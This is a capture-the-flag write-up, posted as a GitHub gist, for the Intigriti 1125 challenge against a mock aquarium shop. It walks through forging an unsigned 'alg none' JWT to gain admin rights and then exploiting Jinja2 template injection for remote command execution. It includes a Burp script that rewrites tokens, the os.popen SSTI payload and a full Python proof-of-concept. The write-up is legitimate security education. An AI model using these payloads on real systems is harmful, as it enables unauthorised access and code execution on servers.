Skip to content

Instantly share code, notes, and snippets.

@boffman
Last active December 18, 2025 16:44
Show Gist options
  • Select an option

  • Save boffman/cb482a23d2a050aba7335f62128f7b52 to your computer and use it in GitHub Desktop.

Select an option

Save boffman/cb482a23d2a050aba7335f62128f7b52 to your computer and use it in GitHub Desktop.
Intigriti 1125 Challenge Writeup by Boffman

Writeup for the Intigriti 1125 Challenge

Author: boffman

Challenge overview

The site presents itself as an e-commerce portal called “AquaCommerce! – Your Aquarium Shop”. On loading the /browse path you land on what appears to be the homepage of a standard online store selling fish, tanks and aquarium accessories. The navigation menu holds links for Home, Shop, Cart, Login and Sign Up.

Attacking the JWT

I created a user by signing up, and then landed at the /dashboard page, showing my profile, order history and a link to continue shopping. After having investigated the site for a while, I ended up focusing on the JWT cookie named "token" that I got after registration/login. It looked similar to this: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJib2ZmIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQwOTM2OTR9.WkXWGKv0fqPCa1V5Yb1SJkkuyePqcKZB591mQiYJhdU

The base64-url-encoded, period-separated parts of the JWT are:

  1. header, eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
  • decoded: {"alg":"HS256","typ":"JWT"}
  1. payload, eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJib2ZmIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQwOTM2OTR9
  • decoded: {"user_id":15,"username":"boff","role":"user","exp":1764093694}
  1. signature, WkXWGKv0fqPCa1V5Yb1SJkkuyePqcKZB591mQiYJhdU
  • decoded: <garbage> - since it's just a signature of the header + payload

This reveals that the algorithm used for signing is HS256, a symmetric keyed hashing algorithm that uses a secret key. Also, the payload has some interesting claims that can be good candidates for manipulation (user_id, username, role).

Perhaps the simplest JWT attack to try, is "missing signature validation", where the backend doesn't really validate the third part in the JWT - the signature - that works as a receipt that the JWT isn't manipulated.

I tried this in Burp, and tried to just change the JWT payload to "role":"admin" instead of "role":"user", and sent the request in the repeater, without modifying the signature part. That did not work - I got a HTTP 302 response redirecting to the /login page, so it looks like the signature is validated.

Another common JWT attack is "algorithm confusion", but that's not really applicable for HS256, but rather when RS256 is used.

Next up is the "none algorithm", where the attacker changes the alg in the JWT to none, to see if the authorization can be bypassed by fooling the backend to use no algorithm to validate the signature, or rather - there is no signature. I decided to try this approach.

Again in Burp repeater, I changed the JWT value to: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJib2ZmIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQwOTM2OTR9.

..so now the parts are:

  1. header, eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
  • decoded: {"alg":"none","typ":"JWT"}
  1. payload, eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJib2ZmIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQwOTM2OTR9
  • decoded: {"user_id":15,"username":"boff","role":"user","exp":1764093694}
  1. signature, nothing since it's the none algorithm specified.

..and sending the request again for /dashboard, it worked! I got the same response back as with the original JWT, with my username etc in there. So this indicates that the webapp is vulnerable for the "algorithm none" JWT attack.

So the next thing I tried, was to also modify the payload part, and set "role" to "admin" again - and this had effect too ! The /dashboard now returned a Admin Panel button - sweet!

Bambda Match and Replace

I wanted to try setting something up in Burp Suite for this, automating the transformation of the original JWT to a "none-algo, admin" one. I ended up creating a rather ambitious Bambda match and replace script:

var cookieValue = requestResponse.request().headerValue("Cookie");
if (cookieValue == null) {
    // No cookies
    return requestResponse.request();
}

record MatchReplace(String match, String replace) {}

// Name of JWT cookie
final String cookieName = "token";

try {
    // Parse the cookies to a key->value map, preserving the order
    Map<String, String> cookies = Arrays.stream(cookieValue.split(";"))
        .map(String::trim)
        .map(s -> s.split("=", 2))
        .collect(Collectors.toMap(
            arr -> arr[0],
            arr -> arr.length > 1 ? arr[1] : "",
            (a, b) -> b,
            LinkedHashMap::new
        ));

    if (!cookies.containsKey(cookieName)) {
        // The JWT cookie was missing
        return requestResponse.request();
    }

    // What to match/replace in the header section
    final List<MatchReplace> headerReplacements = List.of(
        new MatchReplace("HS256", "none"),
        new MatchReplace("RS256", "none")
    );

    // What to match/replace in the payload section
    final List<MatchReplace> payloadReplacements = List.of(
        new MatchReplace("\"user\"", "\"admin\"")
    );

    // Split the JWT sections
    var currentJwt = cookies.get(cookieName);
    var jwtSections = currentJwt.split("\\.");
    if (jwtSections.length != 3) {
        // Only JWT with three sections supported
        return requestResponse.request();
    }

    // Normal Base64 helper from Burp
    var b64 = utilities().base64Utils();

    // --- JWT Base64URL helper (encode/decode) ---
    interface JwtCodec {
        String decode(String jwtPart);
        String encode(String json);
    }

    JwtCodec jwtCodec = new JwtCodec() {
        @Override
        public String decode(String jwtPart) {
            // Convert Base64URL -> standard Base64
            String base64 = jwtPart
                .replace('-', '+')
                .replace('_', '/');

            // Add padding if missing
            int padding = (4 - (base64.length() % 4)) % 4;
            if (padding > 0) {
                base64 = base64 + "====".substring(0, padding);
            }

            // Decode using Burp's Base64
            byte[] bytes = b64.decode(base64);
            return new String(bytes, java.nio.charset.StandardCharsets.UTF_8);
        }

        @Override
        public String encode(String json) {
            // Encode to standard Base64 using Burp
            String base64 = b64.encodeToString(json);

            // Strip padding '=' characters
            int padIndex = base64.indexOf('=');
            if (padIndex != -1) {
                base64 = base64.substring(0, padIndex);
            }

            // Convert standard Base64 -> Base64URL
            return base64
                .replace('+', '-')
                .replace('/', '_');
        }
    };
    // --- end JWT helper ---

    // Base64URL-decode the JWT header and payload, and run
    // the matching and replacing on them
    String decodedHeader = jwtCodec.decode(jwtSections[0]);
    for (MatchReplace mr : headerReplacements) {
        decodedHeader = decodedHeader.replace(mr.match(), mr.replace());
    }

    String decodedPayload = jwtCodec.decode(jwtSections[1]);
    for (MatchReplace mr : payloadReplacements) {
        decodedPayload = decodedPayload.replace(mr.match(), mr.replace());
    }

    // Update the cookies map with the new JWT, skip the signature
    cookies.put(cookieName, String.join(".",
        jwtCodec.encode(decodedHeader),
        jwtCodec.encode(decodedPayload),
        ""
    ));

    // Create updated cookie header value
    String newCookie = cookies.entrySet().stream()
        .map(e -> e.getKey() + "=" + e.getValue())
        .collect(Collectors.joining("; "));

    // Return HTTP request with the updated cookie
    return requestResponse.request().withUpdatedHeader("Cookie", newCookie);
}
catch (Exception cause) {
    logging().logToError("Failed to parse JWT cookie: " + cookieValue, cause);
    return requestResponse.request();
}

In Burp Suite, this code can be inserted in Proxy -> Match and replace -> Add -> Script mode as a request script. It can be tested against an original request to see that it works. It basically does the same as I did manually in the repeater:

  1. Gets the cookie named "token", and checks that it looks like a three-part JWT
  2. Decodes the header and payload parts
  3. Modifies the header and payload to change HS256 to none, and "user" to "admin" (this is somewhat configurable in the code)
  4. Encodes the modified parts, omitting the signature
  5. Set the new JWT cookie

So, with this enabled, I could login as a normal user, and then Burp auto-adjusted the JWT on the fly so that I navigated the site as an admin. Pretty cool :-)

Getting to RCE

With my new found admin powers, I could reach the Admin Panel part. That page showed some various AquaCommerce statistics, and a "My Profile" button. The "My Profile" button opened a page there I could update the display name of myself (my-admin-self).

When submitting a new display name, the page was reloaded and the new name was reflected on the page. Thinking that this might be vulnerable for some kind of injection, I tried some payloads to submit for the display name, and noticed that {{ 7*7 }} resulted in the name being presented as 49. This means it's vulnerable to SSTI!

The comprehensive Template Injection Table can be used for determining the type of template engine being used, or the image at PayloadAllTheThings as a light-weight alternative.

I figured out it was Python and Jinja2, and the following payload worked for executing a command (RCE!):

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

(I got that payload from HackTricks).

Cool! So, I experimented with that a bit, running pwd, ls -al, cat app.py etc to explore the backend file system a bit. It was a bit cumbersome to browse the source code, since it was reflected as/in HTML and the line breaks got lost on the way. To get around that, I piped the RCE command output to base64, so I got a blob of base64 encoded data that I could decode in e.g. CyberChef to get the source code retain the original formatting.

..And the final script, getting the flag

In the end, I ended up writing a Python script as the final POC to get the flag. Having examined the webapps source code, I saw that there was an admin user with user_id 1 created, so I created the JWT based on this information, that way I didn't even need to register my own user.

This is the POC script that I created, it needs the python requests module (pip install requests) to work:

import base64
import json
import logging
import re
import requests
import time
import urllib3

USER_AGENT='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'

# Base64 decodes value, add missing padding if needed
def b64url_decode(str_data: str) -> str:
    padding = '=' * (-len(str_data) % 4)
    str_data += padding
    data = str_data.encode()
    return base64.urlsafe_b64decode(data).decode()

# Base64 encodes value, remove padding if any
def b64url_encode(str_data: str) -> str:
    data = str_data.encode()
    return base64.urlsafe_b64encode(data).decode().rstrip('=')

def main():
    logging.basicConfig(level=logging.DEBUG)
    logging.getLogger("urllib3").setLevel(logging.ERROR)
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    logger = logging.getLogger('int1125')

    with requests.Session() as session:
        # Set user agent and cache control headers
        session.headers.update({
            'User-Agent': USER_AGENT,
            'Cache-Control': 'max-age=0',
        })

        # Construct JWT for admin user with alg=none
        jwt_header = {
            "typ": "JWT",
            "alg": "none"
        }
        jwt_payload = {
            "user_id": 1,
            "username": "admin",
            "role": "admin",
            "exp": int(time.time()) + 3600
        }
        jwt_token = f"{b64url_encode(json.dumps(jwt_header))}.{b64url_encode(json.dumps(jwt_payload))}."
        logger.debug(f'Constructed JWT token: {jwt_token}')
        logger.debug('Updating admin display name with trixy SSTI RCE payload')
        # Inject command to search for a flag in files
        response = session.post(
            'https://challenge-1125.intigriti.io/admin/profile',
            cookies={'token': jwt_token},
            data={'display_name': "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('grep -RHoP \"INTIGRITI\\{[A-Za-z0-9_-]+\\}\" . | base64').read() }}"}
        )
        assert response.status_code == 200, f'Failed to post update to admin profile, status code: {response.status_code}'
        assert '<p class="text-slate-100 font-medium">' in response.text, 'Unexpected response after updating display name'

        logger.debug('Extracting flag from response')
        b64_data = re.search(r'<p class="text-slate-100 font-medium">(.+?)</p>', response.text, re.MULTILINE | re.DOTALL).group(1)
        assert len(b64_data) > 0, 'Failed to get base64 output from injected command'

        decoded_data = base64.b64decode(b64_data).decode()
        lines = decoded_data.strip().split('\n')
        flag = ''
        for line in lines:
            filename, flag = line.split(':', 1)
            if flag:
                logger.info(f'FOUND FLAG in file {filename}: {flag} ')
                break
        assert flag, 'Failed to find the flag :-('

if __name__ == '__main__':
    main()

The script creates the JWT, submits the following payload to as the admin display name

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('grep -RHoP "INTIGRITI\{[A-Za-z0-9_-]+\}" . | base64').read() }}

..that is, it runs a recursive grep to find the flag in all files, and printing <filename>:<match> in the results. This is base64-decoded, and the script parses the HTML response to extract and decode this base64-data, parse the filename and match (flag value), and output it to the terminal.

Output of the POC script:

DEBUG:int1125:Constructed JWT token: eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogMTc2NDAxODM5Mn0.
DEBUG:int1125:Updating admin display name with trixy SSTI RCE payload
DEBUG:int1125:Extracting flag from response
INFO:int1125:FOUND FLAG in file ./.aquacommerce/019a82cf.txt: INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}

So, the flag was hidden in a ./.aquacommerce/019a82cf.txt file and the value was INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}.

Thanks for a fun challenge!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment